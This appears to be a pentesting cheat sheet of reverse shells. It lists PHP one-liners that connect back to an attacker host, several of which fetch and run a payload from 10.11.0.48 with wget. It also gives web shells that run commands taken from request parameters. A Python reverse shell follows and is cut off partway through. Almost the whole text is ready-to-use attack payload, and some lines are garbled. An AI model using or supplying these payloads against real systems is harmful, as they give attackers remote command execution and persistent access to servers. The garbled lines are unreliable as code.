PHP Shells: echo '<?php $sock = fsockopen(" IP_ADDRESS ", PORT ); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>' > shell.php #This does not work this double quotes most of the times <?php system("whoami; wget http://10.11.0.48/shell; chmod +x shell; ./shell"); ?> <?php system("/usr/bin/wget 10.11.0.48:53/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?> <? php -r '$sock=fsockopen("10.11.0.48",9001);exec("/bin/sh -i <&3 >&3 2>&3");' ?> <?php echo system($_REQUEST['cmd']); ?> <?php echo shell_exec($_GET['cmd']); ?> Get PHP Reverse Shell from here Python Reverse Shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" IP_ADDRESS ", PORT ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.filen
Way to Divergence